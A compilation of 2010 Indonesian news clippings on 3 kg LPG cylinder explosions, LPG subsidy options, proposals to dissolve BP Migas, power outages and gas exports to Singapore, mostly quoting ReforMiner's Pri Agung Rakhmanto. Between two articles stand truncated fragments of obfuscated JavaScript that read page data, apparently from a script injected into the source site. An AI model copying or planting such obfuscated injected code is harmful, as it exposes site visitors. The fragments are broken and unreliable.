Pengamat Meragukan Keseriusan Pemerintah Menyelesaikan Masalah Elpiji

Republika, 12 Agustus 2010

JAKARTA–Berlarutnya penyelesaian maalah elpiji 3 kg oleh pemerintah mengundang sikap pesimistis dari sejumlah kalangan. Direktur EksekutifA�ReforMiner Institute, Pri Agung Rakhmanto bahkan meragukan kesungguhan pemerintah dalam menyelsaikan masalah ini. Khususnya terkait penanganan masalah pengoplosan dan disparitas harga elpiji. ”Saya tidak tahu istilah yang pas apa, tapi saya ragu dengan keseriusan dan kesungguhan pemerintah dalam hal ini,”kata Pri saat dihubungi Republika, Kamis (12/8).

Menurut Pri, dengan terbentuknya tim gabungan yang dipimpin Menko Kesra, semestinya tidak bisa lagi bilang bahwa pengoplosan urusan polisi. ”Itu ya jadi urusan tim gabungan ini sekarang. Bagaimana dikoordinasikan dan diatasi dengan tindakan konkrit,” kata dia.

Pri mengaku heran dengan langkah lamban pemerintah. ”Untuk masalah yang sudah sedemikian penting saja actionnya lambat sekali,” kata dia. Pun begitu, kata Pri Agung, ada satu pertanyaan yang belum terjawab saat ini yakni apa benar penyebab utama ledakan karena pengoplosan dan disparitas itu A�dan bukan karena tabung serta asesoris yang tidak sesuai standar

”Kalau oplos, bukannya tabung 12 kg dari dulu juga banyak yang dikurangi isinya juga, kok tidak banyak kasus yang meledak seperti yang 3 kg ,” kata Pri. Kalaupun dioplos, lanjut dia, bukannya seharusnya bisa diketahui pada saat isi ulang.Pri Agung mengingatkan, jangan sampai masalah ledakan ini diarahkan penyelesaiannya hanya pada masalah disparitas saja, apalagi dengan lalu mensubsidi elpiji 12 kg. ”Lalu yang mestinya dilakukan dulu yaitu penarikan tabung dan aksesoris yang tidak standar malah tidak dilakukan,” kata dia mengingatkan.

Subsidi elpiji 12 kg langkah mundur

Bisnis Indonesia, 11 Agustus 2010

JAKARTA: Wacana pemberian subsidi elpiji 12 kg dalam rangka menekan kasus kecelakaan yang diduga karena disparitas harga terlalu tinggi dengan elpiji 3 kg dinilai sebagai langkah mundur pemerintah.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto menegaskan sebagian besar masyarakat pengguna tabung elpiji 12 kg merupakan golongan menengah ke atas sehingga tidak layak mendapatkan subsidi.

Pemerintah jangan mau instan dan populis saja. Menjadikan elpiji 12 kg barang subsidi adalah langkah mundur pemerintah. Di saat semua pihak sedang berupaya mengurangi subsidi, kenapa malah menambah beban subsidi dengan 12 kg, A�katanya, hari ini.

Menurut dia, disparitas harga elpiji di dalam dengan luar negeri akan tetap ada dan semakin besar, sehingga makin membuka celah penyelundupan ke luar negeri.

Pri Agung menjelaskan keinginan menyubsidi elpiji 12 kg malah akan menjadi bom waktu bagi pemerintah dan perekonomian nasional karena semakin lama beban subsidi semakin bertambah.

“Itu artinya, makin membuat negeri ini tidak kunjung beranjak mengurusi masalah subsidi harga energi,” katanya.Di sisi lain, paparnya, opsi pemberian kupon bagi pengguna elpiji 3 kg juga tidak mudah dan hampir dipastikan akan menimbulkan banyak persoalan karena tidak tepat sasaran pada awal implementasi.

Namun, patut diperhatikan di negara maju pun demikian. Hanya, mereka [negara maju] terus memperbaiki sistem dan mekanismenya dari waktu ke waktu secara konsisten, ketimbang memilih cara-cara yang instan,” tutur Pri Agung.(jha)

 

BP Migas dan BPH Migas diusulkan dibubarkan

Bisnis Indonesia,A�10 Agustus 2010

JAKARTA: Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) dan Badan Pengatur Hilir Minyak dan Gas Bumi (BPH Migas) dinilai sebaiknya ditiadakan karena tidak memiliki kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto mengatakan kewenangan usaha migas seharusnya diberikan kepada perusahaan migas negara, untuk selanjutnya dapat bekerja sama dengan perusahaan migas multinasional.

Meniadakan BP Migas sesungguhnya merupakan suatu kebutuhan untuk menempatkan kembali sesuatu agar sesuai dengan kedudukan, tugas, dan fungsi semestinya sebagai ladasan pengelolaan migas yang benar dan konsekuen sesuai dengan Pasal 33 UUD 1945, A�katanya, hari ini.

Menurut dia, kewenangan usaha pertambangan, eksplorasi, dan produksi migas nasional memang seharusnya diberikan kepada badan usaha milik negara (BUMN), bukan badan atau aparat pemerintah.

Dia menjelaskan perusahaan BUMN juga dapat bekerja sama dengan badan usaha lainnya seperti yang dilakukan di sejumlah negara, seperti Malaysia (Petronas), Filipina (PNOC), Vietnam (Petrovietnam), China (CNPC, Sinopec, CNOOC, Petrochina), Norwegia (StatOilHydro), Qatar (QP), Iran (NIOC), Libya (NOC), dan Korea Selatan (KNOC).Pri Agung menilai tidak tepat apabila BP Migas dianggap sebagai regulator dan sekaligus pengawas karena pada dasarnya lembaga itu melakukan kontrak usaha dengan kontraktor migas yang kemudian juga diawasinya.

Sementara itu, Menteri Energi dan Sumber Daya Mineral (ESDM) Darwin Zahedy Saleh mengatakan pemerintah berkeinginan lebih mengoptimalkan peran dan tugas BP Migas dan BPH Migas daripada membubarkannya.

Kami memang belum ada di posisi yang mana, tetapi lebih bagus mengoptimalkan yang ada, A�katanya.(jha)

 

Sektor Energi Butuh Cetak Biru

Republika, 9 Agustus 2010

JAKARTA–Direktur EksekutifA�Refor-Miner Institute,A�Pri Agung Rakhmanto menilai tata pengelolaan sektor energi nasional sudah rentan sejak lama. Menurutnya, kerentanan dan kerapuhan energi nasional tersebut dikarenakan tidak adanya cetak biru atau blue print sektor energi yang konkret.

Bahkan, ia menyarankan agar petinggi di kementerian energi sebaiknua dijabat oleh seseorang yang benar memahami peta permasalahan energi. “Sudah lama sekali sektor energi nasional tidak dikelola dengan sungguh-sungguh. Hal ini dikarenakan kita tidak memiliki cetak biru sektor energi yang konkret dan memadai. Jadi, dari tahun ke tahun tidak terlihat adanya progress terkait masalah energi nasional,” terang Pri Agung kepada Republika di Jakarta.

Untuk itu, ia berharap pemerintah menaruh perhatian penuh atas masalah nasional ini. Jika cetak biru energi ada di tangan pemerintah, Pri Agung meyakini permasalahan energi yang ada satu per satu bisa terpecahkan. Selain itu, ia juga mengutarakan dalam hal jajaran pemimpin sektor energi, termasuk menteri, sebaiknya dijabat oleh seseorang yang memahami masalah energi keseluruhan.

“Kita butuh seorang menteri atau leader yang betul-betul memahami masalah energi. Sehingga ia berani mengambil atau mengeksekusi keputusan untuk diaplikasikan dalam program kerjanya. Jadi, ia memahami betul peta permasalahan, tidak perlu masukan dari lingkungan sekitarnya,” pungkasnya.

052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Persoalan Ledakan Gas Jangan Direduksi

Kompas,A�3 Agustus 2010

Jakarta, Kompas – Masalah ledakan elpiji diharapkan tidak direduksi hanya karena disparitas harga elpiji bersubsidi dan nonsubsidi. Pemerintah tetap harus menuntaskan penarikan tabung dan aksesorinya yang tidak memenuhi standar serta mengatasi praktik pengoplosan.

Ini lebih ke masalah pengawasan dan penegakan hukum yang lemah, bukan hanya masalah disparitas harga, A�kata Direktur EksekutifA�Lembaga Kajian Reformasi Pertambangan dan EnergiA�Pri Agung Rakhmanto, Senin (2/8) di Jakarta.

Karena itu, persoalan ledakan elpiji ini diharapkan tidak direduksi sebatas disparitas harga. Artinya, apa yang sudah diwacanakan, seperti penarikan tabung dan aksesorinya yang tidak memenuhi standar dan ilegal, termasuk pengoplosan, harus dilakukan dulu secara tuntas. Menteri Koordinator Kesejahteraan Rakyat Agung Laksono sebelumnya menyatakan, ada tiga opsi untuk mengatasi perbedaan harga. Pertama, harga elpiji kemasan 12 kg diturunkan. Kedua, harga elpiji 3 kg dinaikkan dan rakyat miskin diberi kupon agar bisa menjangkau harga itu. Ketiga, harga elpiji 12 kg diturunkan sedikit dan harga elpiji 3 kg dinaikkan sedikit agar harganya setara.

Menanggapi opsi-opsi itu, Pri Agung berpendapat opsi kupon yang paling baik karena paling mendekati sistem subsidi langsung. A�Yang harus dilakukan dulu adalah mendata masyarakat miskin secara benar, lalu mendesain sistem dan mekanisme pendistribusiannya serta cara menggunakannya. Implementasinya tak mudah, tetapi harus dilakukan kalau ingin masalah ini teratasi, A�ujar dia. Ditegaskan, disparitas harga hanya bisa diatasi dengan menggantinya ke sistem subsidi langsung kepada yang berhak. Oleh karena itu, data penduduk miskin harus dibenahi. A�Kalau tidak, akar masalah subsidi tidak terselesaikan dengan tuntas, A�ujar Pri Agung.

Sosialisasi

Secara terpisah, Sekretaris Menko Kesra Indroyono mengakui, sosialisasi penggunaan elpiji 3 kg yang aman perlu lebih digencarkan. Selama ini sosialisasi sudah berjalan, tetapi masing-masing kementerian teknis terkait masih sibuk mengalokasikan anggarannya.

Untuk itu, rapat koordinasi teknis memutuskan, sosialisasi program konversi minyak tanah ke elpiji, terutama penggunaan elpiji 3 kg yang aman, dipimpin Kementerian Energi dan Sumber Daya Mineral (ESDM). A�Anggarannya sudah keluar untuk program sosialisasi sampai Desember, A�kata dia.

Kegiatan sosialisasi, kata Indrojono, melibatkan semua kementerian terkait, antara lain Kementerian Dalam Negeri serta Kementerian Negara Pemberdayaan Perempuan dan Perlindungan Anak; PT Pertamina selaku pemasok elpiji 3 kg; serta pemerintah daerah setempat.

Pengurus Yayasan Lembaga Konsumen Indonesia, Huzna Zahir, menilai, pemerintah lamban dalam sosialisasi tata cara pemakaian elpiji 3 kg yang aman, termasuk tentang masa pakai serta kelaikan tabung dan aksesorinya. A�Seharusnya pemerintah memeriksa kondisi paket perdana konversi ke komunitas, A�ujar Huzna.

Menurut pengajar Sosiologi Fakultas Hukum Universitas Indonesia, Edie Toet Hendratno, sosialisasi sebaiknya tidak hanya mengajarkan cara pakai elpiji, tetapi juga mengajak masyarakat mengubah pola hidup, dari pemakai minyak tanah ke pengguna elpiji. Karakteristik masyarakat yang berbeda-beda harus dipertimbangkan.

Sosialisasi gas di Jakarta, misalnya, akan lebih mengena jika langsung ke permukiman padat. Lebih dari 20 persen warga Jakarta hidup di permukiman padat di gang sempit.

Katanya kalau ada tanda gas bocor, seperti bau menyengat, segera bawa tabung gas ke tempat terbuka. Di sini, tempat terbukanya mana. Semuanya gang sempit, A�kata Nurdin, penghuni Kampung Pucung, Pejaten Timur, Jakarta Selatan.

Melihat kenyataan itu, kata Edie, seharusnya dalam setiap program yang mengubah pola hidup masyarakat harus diperhatikan aspek sosial, ekonomi, teknik, dan budaya. A�Konversi energi ini tak bisa sembarangan diterapkan, A�kata Edie.

 

Elpiji 12 Kg Tak Layak Disubsidi

Detik.com, 2 Agustus 2010

Jakarta – Elpiji 12 Kg tidak mungkin disubsidi karena akan menambah beban keuangan negara. Apalagi elpiji ini digunakan oleh masyarakat mampu sehingga tidak layak disubsidi.

“Elpiji 3 Kg tidak bisa disubsidi. DPR tidak akan setuju karena ini akan membuat subsidi dalam APBN semakin membengkak,” ujar anggota Komisi VII DPR, Dito Ganinduto saat berbindang dengan detikFinance, Senin (2/8/2010).

Sebelumnya, Direktur Pertamina (Persero) Karen Agustiawan mengusulkan agar elpiji isi 12 kilogram ikut disubsidi pemerintah. Usulan ini disampaikan untuk menekan tingginya disparitas harga antara elpiji 3 Kg dengan 12 Kg sehingga tidak ada lagi pengoplosan.

Dito menjelaskan, pengoplosan tidak hanya dicegah dengan memberikan subsidi ke elpiji 12 Kg. Menurutnya, hal terpenting untuk mencegah pengoplosan adalah peningkatan pengawasan dari pihak kementerian perdagangan dan juga aparat kepolisian.

“Selain itu, sosialisasi mengenai bahaya pengoplosan juga harus gencar dilakukan pemerintah dan Pertamina,” ungkapnya.

Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto mengakui, status elpiji 12 Kg memang tidak jelas. Di satu sisi, pemerintah tidak memberikan subsidi terhadap elpiji ukuran ini. Tapi di sisi lain, harganya tidak bisa dinaikkan begitu saja sehingga Pertamina terus merugi.

Baca Selengkapnya

Pri Agung: Opsi Kupon yang Paling Baik

Republika, 2 Agustus 2010

JAKARTA–Direktur Eksekutif ReforMiner Institue Pri Agung Rakhmanto menyatakan, terkait upaya menghilangkan disparitas harga elpiji, selama yang diterapkan adalah subsidi terhadap harga produk, maka tetap tidak akan tuntas masalahnya. Menurut Pri, yang harus dilakukan segera adalah mengubah dari subsidi harga ke subsidi langsung.

”Opsi kupon adalah yang paling baik diantara tiga opsi yang ada, dalam arti paling mendekati sistem, subsidi langsung,” kata Pri kepada Republika, Senin (2/8). Pri menambahkan, yang harus dilakukan adalah mendata dulu masyarakat miskin secara benar lalu mendesain sistem dan mekanisme pendistribusiannya maupun juga bagaimana nanti cara menggunakannya .

Pri mengakui bahwa dalam implementasinya hal ini tidak akan mudah. ”Tetapi kalau ingin masalah subsidi elpiji ini teratasi tuntas dan memang itu yang harus dilakukan,” kata Pri Agung.

Pri Agung menambahkan, terkait masalah ledakan elpiji selama ini diharapkan jangan direduksi hanya karena disparitas harga saja. Artinya, terang Pri Agung, apa yang selama ini sudah diwacanakan seperti penarikan tabung serta aksesoris yang tidak memenuhi standar ataupun ilegal, termasuk juga mengatasi paraktek pengoplosan harus benar-benar dilakukan dulu secara tuntas. ”Ini lebih ke masalah pengawasan dan penegakan hukum yang lemah, bukan masalah disparitas harga,” tandas dia.

19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Pencanangan bebas padam listrik berlebihan

Bisnis Indonesia,A�27 Juli 2010

JAKARTA (Bisnis.com): Pencanangan RI bebas pemadaman bergilir dinilai berlebihan dan hanya akan membingungkan masyarakat ketika saat ini justru pemadaman itu masih sering terjadi.

Bahkan saat ini saja masih banyak masyarakat yang belum menikmati listrik, yang ditandai dengan rasio elektrifikasi yang masih sekitar 40% di wilayah luar Jawa.

Direktur EksekutifA�ReforMiner InstituteA�Pri Agung Rakhmanto mengatakan penyebab pemadaman listrik, pun yang bergilir, tidak bisa dikotak-kotakan hanya karena defisit daya pembangkit. Menurut dia, pemadaman akibat gangguan teknis atau karena kurangnya kapasitas trafo gardu induk transmisi yang juga bisa menyebabkan pemadaman terjadi meski dari sisi pmbangkitan cukup, tetap saja merupakan pemadaman.

“Sistem Jawa-Bali adalah contohnya [pemadaman yang masih kerap terjadi],” ungkapnya.

Bahkan, tuturnya, di sistem luar Jawa Bali hingga saat ini masih banyak masyarakat yang belum menikmati listrik. “Di luar Jawa Bali justru bukan lagi sekedar pemadaman bergilir karena listriknya memang banyak yang belum ada [rasio elektrifikasi di bawah 40%].

Presiden Susilo Bambang Yudhoyono mencanangkan Indonesia mulai bebas dari pemadaman listrik bergilir di Nusa Tenggara Barat, yang dipilih karena merupakan daerah terakhir yang berhasil membebaskan diri dari pemadaman bergilir di Tanah Air.

Direktur Utama PLN Dahlan Iskan sebelumnya mengatakan seluruh wilayah Indonesia kini telah bebas dari pemadaman listrik bergilir, atau 5 bulan lebih cepat dari target pemerintah sebelumnya. Dahlan menyebut istiliah pemadaman bergilir hanya untuk daerah-daerah yang sudah teraliri listrik.

Namun, dia juga tidak menjanjikan daerah-daerah tersebut benar-benar bebas dari pemadaman listrik, terutama pemadaman yang dipicu oleh faktor-faktor di luar kendali, seperti kerusakan infrastruktur jaringan dan distribusi akibat faktor alam. (mrp)

 

Pemerintah Harus Siap Bayar Kompensasi

Media Indonesia, 24 Jul 2010

PEMERINTAH perlu lebih proaktif dalam renegosiasi pasokan gas dengan Singapura. Langkah itu harus membuahkan hasil berupa pengalihan sebagian gas ke dalam negeri walaupun Indonesia wajib membayar kompensasi. Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto menegaskan hal tersebut saat dihubungi Media Indonesia, kemarin. . Menurut dia, krisis gas di dalam negeri sudah mendesak untuk segera diatasi. Pemerintah tidak bisa hanya duduk diam menunggu jawaban. “Pemerintah harus lebih proaktif. Kalau perlu, bertemu langsung dengan pemerintah Singapura.”

Sebelumnya, pemerintan menyatakan telah memulai proses renegosiasi pasokan gas ke Singapura demi mengamankan pasokan gas bagi pembangkit PT PLN (persero). “Kita sudah mengirimkan surat kepada Duta Besar Singapura melalui Kementerian Luar Negeri. Sekarang sedang menunggu jadwal pertemuannya,” ungkap Menteri Energi dan Sumber Daya Energi (ESDM) Darwin Zahedy Saleh, kemarin.

Ia menyatakan secara khusus telah berkomunikasi dengan pihak pemerintah Singapura. Renegosiasi akan mengedepankan pendekatan kolegial sebagai negara tetangga. “Pertama-tama secara intim kita akan berkomunikasi dulu permasalahan gas di dalam negara sehingga ada pemahaman bersama. Baru kemudian kita melihat kerja samanya.”

Saat disinggung tentang volume gas yang akan direnegosiasikan, Darwin mengatakan belum dapat menentukan besarannya. Anggota Komisi VII DPR Dito Ganinduto belum lama ini menyatakan bila Indonesia bisa mengurangi 100 juta metrik standar kaki kubik per hari {millions metric standard cubic feet per day /mmscfd) saja sudah cukup membantu PLN. Total pasokan gas ke Singapura mencapai 750 mmscfd.

Panja Konversi Sementara itu, masih terkait dengan penyediaan bahan bakar di dalam negeri, DPR memutuskan membentuk Panitia Kerja (Panja) Konversi Minyak Tanah ke Elpiji. Keputusan itu diambil dalam rapat kerja dengan Menteri ESDM yang membahas penanganan ledakan tabung gas 3 kilogram (kg), di Jakarta, Kamis (22/7) malam.

Wakil Ketua Komisi VII DPR Effendy Simbolon mengatakan permasalahan yang timbul dalam program konversi perlu didalami lebih jauh. “Pendalaman tersebut dilakukan pada mekanisme distribusi yang lebih tepat sasaran serta kegiatan sosialisasi yang lebih optimal kepada masyarakat,” ujarnya. Komisi VI DPR juga mendesak pemerintah segera melakukan penarikan tabung elpiji 3 kg dan peralatan lainnya yang tidak sesuai dengan Standar Nasional Indonesia (SNI).

Tabung elpiji 3 kg yang rusak dan tidak berlabel SNI ditemukan marak beredar di Kabupaten Bojonegoro, Jawa Timur. Meski demikian, hingga saat ini belum ada upaya pemkab setempat untuk merazia maupun menarik tabung-tabung bermasalah tersebut dari pasaran.

Pemerintah Didesak Tarik 9 Juta Tabung Elpiji 3 Kg Tak Ber-SNI

Detik.com, 25 Juli 2010

Jakarta – Pemerintah diminta segera menarik 9 juta tabung elpiji 3 kilogram (Kg) yang tidak memenuhi standar nasional Indonesia (SNI) dari peredaran.

Itu harus ditarik dan diganti baru oleh pemerintah. Tidak hanya tabungnya tapi juga aksesoris seperti selang dan regulator. Pergantiannya pun harus digratiskan, A�ujar Direktur EksekutifA�Refor-Miner InstituteA�Pri Agung Rakhmanto saat berbincang dengan detikFinance, Minggu (25/7/2010).

Menurut Priagung, penarikan tersebut dapat dilakukan pemerintah dengan menggunakan data penyebaran tabung elpiji 3 kilogram pada awal program konversi dimulai dari Pertamina.

Tapi tabung tak ber SNI kan belum tentu hanya 9 juta tabung itu saja. Bisa saja lebih banyak dari itu, A�jelasnya.

Untuk itu, ia menyarankan kepada pemerintah untuk segera melakukan identifikasi terhadap daerah-daerah mana saja yang rawan ledakan, kemudian melakukan penyisiran dan memeriksa satu persatu tabung dan aksesoris elpiji 3 Kg yang ada di situ.

Kemudian yang tidak penuhi SNI itu harus dicabut, entah tabung, atau aksesorisnya. Kalau ini tidak dilakukan, maka ledakan elpiji akan sulit dicegah. Pemerintah harus serius karena ini menyangkut nyawa orang,” tegasnya.

Sebelumnya, Direktur Utama PT Pertamina (Persero) Karen Agustiawan mengakui adanya 9 juta tabung elpiji 3 kg yang tidak memenuhi SNI. Tabung-tabung ini adalah tabung yang diimpor pada saat awal program konversi.

“Sebanyak 9 juta diimpor di awal konversi, tidak ada SNI-nya tapi itu diatur di Peraturan Menteri Perindustrian Nomor 85 Tahun 2008. Tapi itupun berdasarkan kualitas tabung Asia dan Australia.” kata Karen usai menghadiri Editor’s Club di Hotel Four Season, Jakarta, Jumat (23/7/2010).

Namun, Karen mengaku pihaknya tidak dapat berbuat apa-apa karena yang bertugas menarik tabung elpiji 3 kg adalah Kementerian Perindustrian. Sehingga ia tidak mengetahui berapa jumlah tabung non SNI yang kini masih dipakai masyarakat.